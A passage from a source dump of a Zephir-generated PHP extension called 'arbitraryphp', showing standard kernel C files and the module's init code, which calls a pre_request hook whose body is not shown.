TSRMLS_DC); 44 | int zephir_vpdump(const zval **uservar TSRMLS_DC); 45 | int zephir_dump_ce(zend_class_entry *ce TSRMLS_DC); 46 | int zephir_class_debug(zval *val TSRMLS_DC); 47 | 48 | int zephir_debug_backtrace_internal(); 49 | int zephir_debug_str(char *what, char *message); 50 | int zephir_debug_long(char *what, uint vlong); 51 | int zephir_debug_screen(char *message); 52 | 53 | int zephir_step_over(char *message); 54 | int zephir_step_into(char *message); 55 | int zephir_step_out(char *message); 56 | 57 | int zephir_step_into_entry(char *class_name, char *method_name, int lineno); 58 | int zephir_step_out_entry(); 59 | 60 | int zephir_debug_method_call(zval *obj, char *method_name TSRMLS_DC); 61 | int zephir_debug_vdump(char *preffix, zval *value TSRMLS_DC); 62 | int zephir_debug_param(zval *param TSRMLS_DC); 63 | 64 | int zephir_error_space(); 65 | int zephir_debug_space(); 66 | 67 | #endif 68 | #endif 69 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/session.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifdef HAVE_CONFIG_H 22 | #include "config.h" 23 | #endif 24 | 25 | #include "php.h" 26 | #include "php_ext.h" 27 | 28 | #include "kernel/main.h" 29 | #include "kernel/fcall.h" 30 | #include "kernel/session.h" 31 | 32 | #ifdef ZEPHIR_USE_PHP_SESSION 33 | #include 34 | #endif 35 | 36 | void zephir_session_start(TSRMLS_D) 37 | { 38 | #ifdef ZEPHIR_USE_PHP_SESSION 39 | php_session_start(TSRMLS_C); 40 | #else 41 | //zephir_call_func_params(NULL, NULL, SL("session_start") TSRMLS_CC, 0); 42 | #endif 43 | } 44 | 45 | void zephir_session_destroy(TSRMLS_D) 46 | { 47 | //zephir_call_func_params(NULL, NULL, SL("session_destroy") TSRMLS_CC, 0); 48 | } 49 | 50 | void zephir_get_session_id(zval *return_value, zval **return_value_ptr TSRMLS_DC) 51 | { 52 | #ifdef ZEPHIR_USE_PHP_SESSION 53 | if (PS(id)) { 54 | RETURN_STRING(PS(id), 1); 55 | } 56 | 57 | RETURN_EMPTY_STRING(); 58 | #else 59 | //zephir_call_func_params(return_value, return_value_ptr, SL("session_id") TSRMLS_CC, 0); 60 | #endif 61 | } 62 | 63 | void zephir_set_session_id(zval *sid TSRMLS_DC) 64 | { 65 | #ifdef ZEPHIR_USE_PHP_SESSION 66 | zval copy; 67 | int use_copy = 0; 68 | 69 | if (UNEXPECTED(Z_TYPE_P(sid) != IS_STRING)) { 70 | zend_make_printable_zval(sid, ©, &use_copy); 71 | if (use_copy) { 72 | sid = © 73 | } 74 | } 75 | 76 | if (PS(id)) { 77 | efree(PS(id)); 78 | } 79 | 80 | PS(id) = estrndup(Z_STRVAL_P(sid), Z_STRLEN_P(sid)); 81 | 82 | if (UNEXPECTED(use_copy)) { 83 | zval_dtor(©); 84 | } 85 | #else 86 | //zephir_call_func_params(NULL, NULL, SL("session_id") TSRMLS_CC, 1, sid); 87 | #endif 88 | } 89 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/output.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifdef HAVE_CONFIG_H 22 | #include "config.h" 23 | #endif 24 | 25 | #include "php.h" 26 | #include "php_ext.h" 27 | #include "kernel/memory.h" 28 | #include "kernel/output.h" 29 | 30 | #include 31 | #include
32 | 33 | void zephir_ob_start(TSRMLS_D) 34 | { 35 | php_output_start_default(TSRMLS_C); 36 | } 37 | 38 | void zephir_ob_get_contents(zval *result TSRMLS_DC) 39 | { 40 | php_output_get_contents(result TSRMLS_CC); 41 | } 42 | 43 | int zephir_ob_end_flush(TSRMLS_D) 44 | { 45 | if (zephir_ob_get_level(TSRMLS_C) < 1) { 46 | php_error_docref("ref.outcontrol" TSRMLS_CC, E_NOTICE, "failed to delete and flush buffer. No buffer to flush"); 47 | return FAILURE; 48 | } 49 | 50 | return php_output_end(TSRMLS_C); 51 | } 52 | 53 | int zephir_ob_end_clean(TSRMLS_D) 54 | { 55 | if (zephir_ob_get_level(TSRMLS_C) < 1) { 56 | php_error_docref("ref.outcontrol" TSRMLS_CC, E_NOTICE, "failed to delete buffer. No buffer to delete"); 57 | return FAILURE; 58 | } 59 | 60 | return php_output_discard(TSRMLS_C); 61 | } 62 | 63 | int zephir_ob_flush(TSRMLS_D) 64 | { 65 | if (zephir_ob_get_level(TSRMLS_C) < 1) { 66 | php_error_docref("ref.outcontrol" TSRMLS_CC, E_NOTICE, "failed to flush buffer. No buffer to flush"); 67 | return FAILURE; 68 | } 69 | 70 | return php_output_flush(TSRMLS_C); 71 | } 72 | 73 | int zephir_ob_clean(TSRMLS_D) 74 | { 75 | if (zephir_ob_get_level(TSRMLS_C) < 1) { 76 | php_error_docref("ref.outcontrol" TSRMLS_CC, E_NOTICE, "failed to delete buffer. No buffer to delete"); 77 | return FAILURE; 78 | } 79 | 80 | return php_output_clean(TSRMLS_C); 81 | } 82 | 83 | int zephir_ob_get_level(TSRMLS_D) 84 | { 85 | return php_output_get_level(TSRMLS_C); 86 | } 87 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/exception.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifndef ZEPHIR_KERNEL_EXCEPTIONS_H 22 | #define ZEPHIR_KERNEL_EXCEPTIONS_H 23 | 24 | #include 25 | #include "kernel/main.h" 26 | 27 | /** Exceptions */ 28 | #define ZEPHIR_THROW_EXCEPTION_STR(class_entry, message) \ 29 | do { \ 30 | zephir_throw_exception_string(class_entry, message, strlen(message) TSRMLS_CC); \ 31 | ZEPHIR_MM_RESTORE(); \ 32 | } while (0) 33 | 34 | #define ZEPHIR_THROW_EXCEPTION_DEBUG_STR(class_entry, message, file, line) \ 35 | do { \ 36 | zephir_throw_exception_string_debug(class_entry, message, strlen(message), file, line TSRMLS_CC); \ 37 | ZEPHIR_MM_RESTORE(); \ 38 | } while (0) 39 | 40 | #define ZEPHIR_THROW_EXCEPTION_ZVAL(class_entry, message) \ 41 | do { \ 42 | zephir_throw_exception_zval(class_entry, message TSRMLS_CC); \ 43 | ZEPHIR_MM_RESTORE(); \ 44 | } while (0) 45 | 46 | #define ZEPHIR_THROW_EXCEPTION_DEBUG_ZVAL(class_entry, message, file, line) \ 47 | do { \ 48 | zephir_throw_exception_zval(class_entry, message, file, line TSRMLS_CC); \ 49 | ZEPHIR_MM_RESTORE(); \ 50 | } while (0) 51 | 52 | 53 | #define ZEPHIR_THROW_EXCEPTION_DEBUG_STRW(class_entry, message, file, line) zephir_throw_exception_string_debug(class_entry, message, strlen(message), file, line TSRMLS_CC) 54 | #define ZEPHIR_THROW_EXCEPTION_STRW(class_entry, message) zephir_throw_exception_string(class_entry, message, strlen(message) TSRMLS_CC) 55 | #define ZEPHIR_THROW_EXCEPTION_ZVALW(class_entry, message) zephir_throw_exception_zval(class_entry, message TSRMLS_CC) 56 | #define ZEPHIR_THROW_EXCEPTION_DEBUG_ZVALW(class_entry, message, file, line) zephir_throw_exception_zval_debug(class_entry, message, file, line TSRMLS_CC) 57 | 58 | /** Throw Exceptions */ 59 | void zephir_throw_exception(zval *object TSRMLS_DC); 60 | void zephir_throw_exception_debug(zval *object, const char *file, zend_uint line TSRMLS_DC); 61 | void zephir_throw_exception_string_debug(zend_class_entry *ce, const char *message, zend_uint message_len, const char *file, zend_uint line TSRMLS_DC); 62 | void zephir_throw_exception_string(zend_class_entry *ce, const char *message, zend_uint message_len TSRMLS_DC); 63 | void zephir_throw_exception_zval(zend_class_entry *ce, zval *message TSRMLS_DC); 64 | void zephir_throw_exception_zval_debug(zend_class_entry *ce, zval *message, const char *file, zend_uint line TSRMLS_DC); 65 | void zephir_throw_exception_format(zend_class_entry *ce TSRMLS_DC, const char *format, ...); 66 | 67 | #endif /* ZEPHIR_KERNEL_EXCEPTIONS_H */ 68 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/require.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifdef HAVE_CONFIG_H 22 | #include "config.h" 23 | #endif 24 | 25 | #include "php.h" 26 | #include "php_ext.h" 27 | #include "kernel/require.h" 28 | #include "kernel/backtrace.h" 29 | 30 | #include
31 | #include 32 | 33 | #ifndef ENFORCE_SAFE_MODE 34 | #define ENFORCE_SAFE_MODE 0 35 | #endif 36 | 37 | /** 38 | * Do an internal require to a plain php file taking care of the value returned by the file 39 | */ 40 | int zephir_require_ret(zval **return_value_ptr, const char *require_path TSRMLS_DC) 41 | { 42 | zend_file_handle file_handle; 43 | int ret; 44 | zend_op_array *new_op_array; 45 | 46 | #ifndef ZEPHIR_RELEASE 47 | if (return_value_ptr && *return_value_ptr) { 48 | fprintf(stderr, "%s: *return_value_ptr is expected to be NULL", __func__); 49 | zephir_print_backtrace(); 50 | abort(); 51 | } 52 | #endif 53 | 54 | if (!require_path) { 55 | /* @TODO, throw an exception here */ 56 | return FAILURE; 57 | } 58 | 59 | file_handle.filename = require_path; 60 | file_handle.free_filename = 0; 61 | file_handle.type = ZEND_HANDLE_FILENAME; 62 | file_handle.opened_path = NULL; 63 | file_handle.handle.fp = NULL; 64 | new_op_array = zend_compile_file(&file_handle, ZEND_REQUIRE TSRMLS_CC); 65 | if (new_op_array) { 66 | if (file_handle.handle.stream.handle) { 67 | int dummy = 1; 68 | 69 | if (!file_handle.opened_path) { 70 | file_handle.opened_path = estrdup(require_path); 71 | } 72 | 73 | zend_hash_add(&EG(included_files), file_handle.opened_path, strlen(file_handle.opened_path) + 1, (void *)&dummy, sizeof(int), NULL); 74 | zend_destroy_file_handle(&file_handle TSRMLS_CC); 75 | } 76 | { 77 | zval **original_return_value = EG(return_value_ptr_ptr); 78 | zend_op_array *original_active_op_array = EG(active_op_array); 79 | zend_op **original_opline_ptr = EG(opline_ptr); 80 | 81 | EG(return_value_ptr_ptr) = return_value_ptr; 82 | EG(active_op_array) = new_op_array; 83 | 84 | zend_execute(new_op_array TSRMLS_CC); 85 | zend_exception_restore(TSRMLS_C); 86 | destroy_op_array(new_op_array TSRMLS_CC); 87 | efree(new_op_array); 88 | 89 | if (EG(exception)) { 90 | assert(!return_value_ptr || !*return_value_ptr); 91 | ret = FAILURE; 92 | } 93 | else { 94 | ret = SUCCESS; 95 | } 96 | 97 | EG(return_value_ptr_ptr) = original_return_value; 98 | EG(active_op_array) = original_active_op_array; 99 | EG(opline_ptr) = original_opline_ptr; 100 | return ret; 101 | } 102 | } 103 | else { 104 | zend_destroy_file_handle(&file_handle TSRMLS_CC); 105 | } 106 | 107 | return FAILURE; 108 | } 109 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/variables.c: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Rack Lin | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifdef HAVE_CONFIG_H 22 | #include "config.h" 23 | #endif 24 | 25 | #include "php.h" 26 | #include "php_ext.h" 27 | 28 | #include "ext/standard/php_smart_str.h" 29 | #include "ext/standard/php_var.h" 30 | 31 | /** 32 | * Serializes php variables without using the PHP userland 33 | */ 34 | void zephir_serialize(zval *return_value, zval **var TSRMLS_DC) { 35 | 36 | php_serialize_data_t var_hash; 37 | smart_str buf = {0}; 38 | 39 | PHP_VAR_SERIALIZE_INIT(var_hash); 40 | php_var_serialize(&buf, var, &var_hash TSRMLS_CC); 41 | PHP_VAR_SERIALIZE_DESTROY(var_hash); 42 | 43 | if (EG(exception)) { 44 | smart_str_free(&buf); 45 | RETURN_FALSE; 46 | } 47 | 48 | if (buf.c) { 49 | RETURN_STRINGL(buf.c, buf.len, 0); 50 | } else { 51 | RETURN_NULL(); 52 | } 53 | } 54 | 55 | /** 56 | * Unserializes php variables without using the PHP userland 57 | */ 58 | void zephir_unserialize(zval *return_value, zval *var TSRMLS_DC) { 59 | 60 | const unsigned char *p; 61 | php_unserialize_data_t var_hash; 62 | 63 | if (Z_TYPE_P(var) != IS_STRING) { 64 | RETURN_FALSE; 65 | } 66 | 67 | if (Z_STRLEN_P(var) == 0) { 68 | RETURN_FALSE; 69 | } 70 | 71 | p = (const unsigned char*) Z_STRVAL_P(var); 72 | PHP_VAR_UNSERIALIZE_INIT(var_hash); 73 | if (!php_var_unserialize(&return_value, &p, p + Z_STRLEN_P(var), &var_hash TSRMLS_CC)) { 74 | PHP_VAR_UNSERIALIZE_DESTROY(var_hash); 75 | zval_dtor(return_value); 76 | ZVAL_NULL(return_value); 77 | if (!EG(exception)) { 78 | php_error_docref(NULL TSRMLS_CC, E_NOTICE, "Error at offset %ld of %d bytes", (long)((char*)p - Z_STRVAL_P(var)), Z_STRLEN_P(var)); 79 | } 80 | RETURN_FALSE; 81 | } 82 | PHP_VAR_UNSERIALIZE_DESTROY(var_hash); 83 | 84 | } 85 | 86 | /** 87 | * var_export outputs php variables without using the PHP userland 88 | */ 89 | void zephir_var_export(zval **var TSRMLS_DC) { 90 | php_var_export(var, 1 TSRMLS_CC); 91 | } 92 | 93 | /** 94 | * var_export returns php variables without using the PHP userland 95 | */ 96 | void zephir_var_export_ex(zval *return_value, zval **var TSRMLS_DC) { 97 | 98 | smart_str buf = { NULL, 0, 0 }; 99 | 100 | php_var_export_ex(var, 1, &buf TSRMLS_CC); 101 | smart_str_0(&buf); 102 | ZVAL_STRINGL(return_value, buf.c, buf.len, 0); 103 | } 104 | 105 | /** 106 | * var_dump outputs php variables without using the PHP userland 107 | */ 108 | void zephir_var_dump(zval **var TSRMLS_DC) { 109 | php_var_dump(var, 1 TSRMLS_CC); 110 | } 111 | 112 | void zephir_get_defined_vars(zval *return_value TSRMLS_DC) 113 | { 114 | if (!EG(active_symbol_table)) { 115 | zend_rebuild_symbol_table(TSRMLS_C); 116 | } 117 | 118 | array_init_size(return_value, zend_hash_num_elements(EG(active_symbol_table))); 119 | zend_hash_copy(Z_ARRVAL_P(return_value), EG(active_symbol_table), (copy_ctor_func_t)zval_add_ref, NULL, sizeof(zval *)); 120 | } 121 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/globals.h: -------------------------------------------------------------------------------- 1 | 2 | /* 3 | +------------------------------------------------------------------------+ 4 | | Zephir Language | 5 | +------------------------------------------------------------------------+ 6 | | Copyright (c) 2011-2017 Zephir Team (http://www.zephir-lang.com) | 7 | +------------------------------------------------------------------------+ 8 | | This source file is subject to the New BSD License that is bundled | 9 | | with this package in the file docs/LICENSE.txt. | 10 | | | 11 | | If you did not receive a copy of the license and are unable to | 12 | | obtain it through the world-wide-web, please send an email | 13 | | to license@zephir-lang.com so we can send you a copy immediately. | 14 | +------------------------------------------------------------------------+ 15 | | Authors: Andres Gutierrez | 16 | | Eduar Carvajal | 17 | | Vladimir Kolesnikov | 18 | +------------------------------------------------------------------------+ 19 | */ 20 | 21 | #ifndef ZEPHIR_KERNEL_GLOBALS_H 22 | #define ZEPHIR_KERNEL_GLOBALS_H 23 | 24 | #include 25 | 26 | #define ZEPHIR_MAX_MEMORY_STACK 48 27 | #define ZEPHIR_MAX_CACHE_SLOTS 512 28 | 29 | /** Memory frame */ 30 | typedef struct _zephir_memory_entry { 31 | size_t pointer; 32 | size_t capacity; 33 | zval ***addresses; 34 | size_t alt_pointer; 35 | size_t alt_capacity; 36 | zval **alt_addresses; 37 | size_t hash_pointer; 38 | size_t hash_capacity; 39 | zval ***hash_addresses; 40 | struct _zephir_memory_entry *prev; 41 | struct _zephir_memory_entry *next; 42 | #ifndef ZEPHIR_RELEASE 43 | int permanent; 44 | const char *func; 45 | #endif 46 | } zephir_memory_entry; 47 | 48 | /** Virtual Symbol Table */ 49 | typedef struct _zephir_symbol_table { 50 | struct _zephir_memory_entry *scope; 51 | HashTable *symbol_table; 52 | struct _zephir_symbol_table *prev; 53 | } zephir_symbol_table; 54 | 55 | typedef struct _zephir_function_cache { 56 | zend_class_entry *ce; 57 | zend_function *func; 58 | } zephir_function_cache; 59 | 60 | #ifndef ZEPHIR_RELEASE 61 | 62 | typedef struct _zephir_fcall_cache_entry { 63 | zend_function *f; 64 | zend_uint times; 65 | } zephir_fcall_cache_entry; 66 | 67 | #else 68 | 69 | typedef zend_function zephir_fcall_cache_entry; 70 | 71 | #endif 72 | 73 | #define ZEPHIR_INIT_FUNCS(class_functions) static const zend_function_entry class_functions[] = 74 | 75 | /** Define FASTCALL */ 76 | #if defined(__GNUC__) && ZEND_GCC_VERSION >= 3004 && defined(__i386__) 77 | # define ZEPHIR_FASTCALL __attribute__((fastcall)) 78 | #elif defined(_MSC_VER) && defined(_M_IX86) 79 | # define ZEPHIR_FASTCALL __fastcall 80 | #else 81 | # define ZEPHIR_FASTCALL 82 | #endif 83 | 84 | #define ZEPHIR_INIT_CLASS(name) \ 85 | int zephir_ ##name## _init(INIT_FUNC_ARGS) 86 | 87 | #define ZEPHIR_INIT(name) \ 88 | if (zephir_ ##name## _init(INIT_FUNC_ARGS_PASSTHRU) == FAILURE) { \ 89 | return FAILURE; \ 90 | } 91 | 92 | #ifndef HASH_KEY_NON_EXISTENT 93 | # define HASH_KEY_NON_EXISTENT HASH_KEY_NON_EXISTANT 94 | #endif 95 | 96 | #if defined(__GNUC__) && (defined(__clang__) || ((__GNUC__ * 100 + __GNUC_MINOR__) >= 405)) 97 | # define UNREACHABLE() __builtin_unreachable() 98 | # define ASSUME(x) if (x) {} else __builtin_unreachable() 99 | #else 100 | # define UNREACHABLE() assert(0) 101 | # define ASSUME(x) assert(!!(x)); 102 | #endif 103 | 104 | #if defined(__GNUC__) || defined(__clang__) 105 | # define ZEPHIR_ATTR_NONNULL __attribute__((nonnull)) 106 | # define ZEPHIR_ATTR_NONNULL1(x) __attribute__((nonnull (x))) 107 | # define ZEPHIR_ATTR_NONNULL2(x, y) __attribute__((nonnull (x, y))) 108 | # define ZEPHIR_ATTR_NONNULL3(x, y, z) __attribute__((nonnull (x, y, z))) 109 | # define ZEPHIR_ATTR_PURE __attribute__((pure)) 110 | # define ZEPHIR_ATTR_CONST __attribute__((const)) 111 | # define ZEPHIR_ATTR_WARN_UNUSED_RESULT __attribute__((warn_unused_result)) 112 | #else 113 | # define ZEPHIR_ATTR_NONNULL 114 | # define ZEPHIR_ATTR_NONNULL1(x) 115 | # define ZEPHIR_ATTR_NONNULL2(x, y) 116 | # define ZEPHIR_ATTR_NONNULL3(x, y, z) 117 | # define ZEPHIR_ATTR_PURE 118 | # define ZEPHIR_ATTR_CONST 119 | # define ZEPHIR_ATTR_WARN_UNUSED_RESULT 120 | #endif 121 | 122 | #if !defined(__GNUC__) && !(defined(__SUNPRO_C) && (__SUNPRO_C >= 0x590)) 123 | # define __builtin_constant_p(s) (0) 124 | #endif 125 | 126 | #ifndef __func__ 127 | # define __func__ __FUNCTION__ 128 | #endif 129 | 130 | #if defined(__GNUC__) 131 | # define ZEPHIR_NO_OPT __attribute__((optimize("O0"))) 132 | #else 133 | # define ZEPHIR_NO_OPT 134 | #endif 135 | 136 | #define likely(x) EXPECTED(x) 137 | #define unlikely(x) UNEXPECTED(x) 138 | 139 | #endif 140 | -------------------------------------------------------------------------------- /arbitraryphp/ext/arbitraryphp.c: -------------------------------------------------------------------------------- 1 | 2 | /* This file was generated automatically by Zephir do not modify it! */ 3 | 4 | #ifdef HAVE_CONFIG_H 5 | #include "config.h" 6 | #endif 7 | 8 | #include 9 | 10 | // TODO: Deprecated. Will be removed in future 11 | #if PHP_VERSION_ID < 50500 12 | #include 13 | #endif 14 | 15 | #include "php_ext.h" 16 | #include "arbitraryphp.h" 17 | 18 | #include 19 | 20 | #include 21 | #include 22 | #include 23 | 24 | #include "kernel/globals.h" 25 | #include "kernel/main.h" 26 | #include "kernel/fcall.h" 27 | #include "kernel/memory.h" 28 | 29 | 30 | #include "initial/pre_request.h" 31 | 32 | zend_class_entry *arbitraryphp_main_ce; 33 | 34 | ZEND_DECLARE_MODULE_GLOBALS(arbitraryphp) 35 | 36 | PHP_INI_BEGIN() 37 | 38 | PHP_INI_END() 39 | 40 | static PHP_MINIT_FUNCTION(arbitraryphp) 41 | { 42 | // TODO: Deprecated. Will be removed in future 43 | #if PHP_VERSION_ID < 50500 44 | char* old_lc_all = setlocale(LC_ALL, NULL); 45 | if (old_lc_all) { 46 | size_t len = strlen(old_lc_all); 47 | char *tmp = calloc(len+1, 1); 48 | if (UNEXPECTED(!tmp)) { 49 | return FAILURE; 50 | } 51 | 52 | memcpy(tmp, old_lc_all, len); 53 | old_lc_all = tmp; 54 | } 55 | 56 | setlocale(LC_ALL, "C"); 57 | #endif 58 | REGISTER_INI_ENTRIES(); 59 | ZEPHIR_INIT(ArbitraryPHP_Main); 60 | 61 | 62 | // TODO: Deprecated. Will be removed in future 63 | #if PHP_VERSION_ID < 50500 64 | setlocale(LC_ALL, old_lc_all); 65 | free(old_lc_all); 66 | #endif 67 | return SUCCESS; 68 | } 69 | 70 | #ifndef ZEPHIR_RELEASE 71 | static PHP_MSHUTDOWN_FUNCTION(arbitraryphp) 72 | { 73 | 74 | zephir_deinitialize_memory(TSRMLS_C); 75 | UNREGISTER_INI_ENTRIES(); 76 | return SUCCESS; 77 | } 78 | #endif 79 | 80 | /** 81 | * Initialize globals on each request or each thread started 82 | */ 83 | static void php_zephir_init_globals(zend_arbitraryphp_globals *arbitraryphp_globals TSRMLS_DC) 84 | { 85 | arbitraryphp_globals->initialized = 0; 86 | 87 | /* Memory options */ 88 | arbitraryphp_globals->active_memory = NULL; 89 | 90 | /* Virtual Symbol Tables */ 91 | arbitraryphp_globals->active_symbol_table = NULL; 92 | 93 | /* Cache Enabled */ 94 | arbitraryphp_globals->cache_enabled = 1; 95 | 96 | /* Recursive Lock */ 97 | arbitraryphp_globals->recursive_lock = 0; 98 | 99 | /* Static cache */ 100 | memset(arbitraryphp_globals->scache, '\0', sizeof(zephir_fcall_cache_entry*) * ZEPHIR_MAX_CACHE_SLOTS); 101 | 102 | 103 | 104 | } 105 | 106 | /** 107 | * Initialize globals only on each thread started 108 | */ 109 | static void php_zephir_init_module_globals(zend_arbitraryphp_globals *arbitraryphp_globals TSRMLS_DC) 110 | { 111 | 112 | } 113 | 114 | static PHP_RINIT_FUNCTION(arbitraryphp) 115 | { 116 | zend_arbitraryphp_globals *arbitraryphp_globals_ptr = ZEPHIR_VGLOBAL; 117 | 118 | php_zephir_init_globals(arbitraryphp_globals_ptr TSRMLS_CC); 119 | //zephir_init_interned_strings(TSRMLS_C); 120 | zephir_initialize_memory(arbitraryphp_globals_ptr TSRMLS_CC); 121 | 122 | pre_request(TSRMLS_C); 123 | return SUCCESS; 124 | } 125 | 126 | static PHP_RSHUTDOWN_FUNCTION(arbitraryphp) 127 | { 128 | 129 | zephir_deinitialize_memory(TSRMLS_C); 130 | return SUCCESS; 131 | } 132 | 133 | 134 | 135 | static PHP_MINFO_FUNCTION(arbitraryphp) 136 | { 137 | php_info_print_box_start(0); 138 | php_printf("%s", PHP_ARBITRARYPHP_DESCRIPTION); 139 | php_info_print_box_end(); 140 | 141 | php_info_print_table_start(); 142 | php_info_print_table_header(2, PHP_ARBITRARYPHP_NAME, "enabled"); 143 | php_info_print_table_row(2, "Author", PHP_ARBITRARYPHP_AUTHOR); 144 | php_info_print_table_row(2, "Version", PHP_ARBITRARYPHP_VERSION); 145 | php_info_print_table_row(2, "Build Date", __DATE__ " " __TIME__ ); 146 | php_info_print_table_row(2, "Powered by Zephir", "Version " PHP_ARBITRARYPHP_ZEPVERSION); 147 | php_info_print_table_end(); 148 | 149 | DISPLAY_INI_ENTRIES(); 150 | } 151 | 152 | static PHP_GINIT_FUNCTION(arbitraryphp) 153 | { 154 | php_zephir_init_globals(arbitraryphp_globals TSRMLS_CC); 155 | php_zephir_init_module_globals(arbitraryphp_globals TSRMLS_CC); 156 | } 157 | 158 | static PHP_GSHUTDOWN_FUNCTION(arbitraryphp) 159 | { 160 | 161 | } 162 | 163 | 164 | zend_function_entry php_arbitraryphp_functions[] = { 165 | ZEND_FE_END 166 | 167 | }; 168 | 169 | zend_module_entry arbitraryphp_module_entry = { 170 | STANDARD_MODULE_HEADER_EX, 171 | NULL, 172 | NULL, 173 | PHP_ARBITRARYPHP_EXTNAME, 174 | php_arbitraryphp_functions, 175 | PHP_MINIT(arbitraryphp), 176 | #ifndef ZEPHIR_RELEASE 177 | PHP_MSHUTDOWN(arbitraryphp), 178 | #else 179 | NULL, 180 | #endif 181 | PHP_RINIT(arbitraryphp), 182 | PHP_RSHUTDOWN(arbitraryphp), 183 | PHP_MINFO(arbitraryphp), 184 | PHP_ARBITRARYPHP_VERSION, 185 | ZEND_MODULE_GLOBALS(arbitraryphp), 186 | PHP_GINIT(arbitraryphp), 187 | PHP_GSHUTDOWN(arbitraryphp), 188 | #ifdef ZEPHIR_POST_REQUEST 189 | PHP_PRSHUTDOWN(arbitraryphp), 190 | #else 191 | NULL, 192 | #endif 193 | STANDARD_MODULE_PROPERTIES_EX 194 | }; 195 | 196 | #ifdef COMPILE_DL_ARBITRARYPHP 197 | ZEND_GET_MODULE(arbitraryphp) 198 | #endif 199 | -------------------------------------------------------------------------------- /arbitraryphp/ext/kernel/concat.c: -------------------------------------------------------------------------------- 1 | 2 | #ifdef HAVE_CONFIG_H 3 | #include "config.h" 4 | #endif 5 | 6 | #include 7 | #include "php_ext.h" 8 | #include 9 | #include "ext.h" 10 | 11 | #include "kernel/main.h" 12 | #include "kernel/memory.h" 13 | #include "kernel/concat.h" 14 | 15 | void zephir_concat_sv(zval **result, const char *op1, zend_uint op1_len, zval *op2, int self_var TSRMLS_DC){ 16 | 17 | zval result_copy, op2_copy; 18 | int use_copy = 0, use_copy2 = 0; 19 | uint offset = 0, length; 20 | 21 | if (Z_TYPE_P(op2) != IS_STRING) { 22 | zend_make_printable_zval(op2, &op2_copy, &use_copy2); 23 | if (use_copy2) { 24 | op2 = &op2_copy; 25 | } 26 | } 27 | 28 | length = op1_len + Z_STRLEN_P(op2); 29 | if (self_var) { 30 | 31 | if (Z_TYPE_PP(result) != IS_STRING) { 32 | zend_make_printable_zval(*result, &result_copy, &use_copy); 33 | if (use_copy) { 34 | ZEPHIR_CPY_WRT_CTOR(*result, (&result_copy)); 35 | } 36 | } 37 | 38 | offset = Z_STRLEN_PP(result); 39 | length += offset; 40 | Z_STRVAL_PP(result) = (char *) str_erealloc(Z_STRVAL_PP(result), length + 1); 41 | 42 | } else { 43 | Z_STRVAL_PP(result) = (char *) emalloc(length + 1); 44 | } 45 | 46 | memcpy(Z_STRVAL_PP(result) + offset, op1, op1_len); 47 | memcpy(Z_STRVAL_PP(result) + offset + 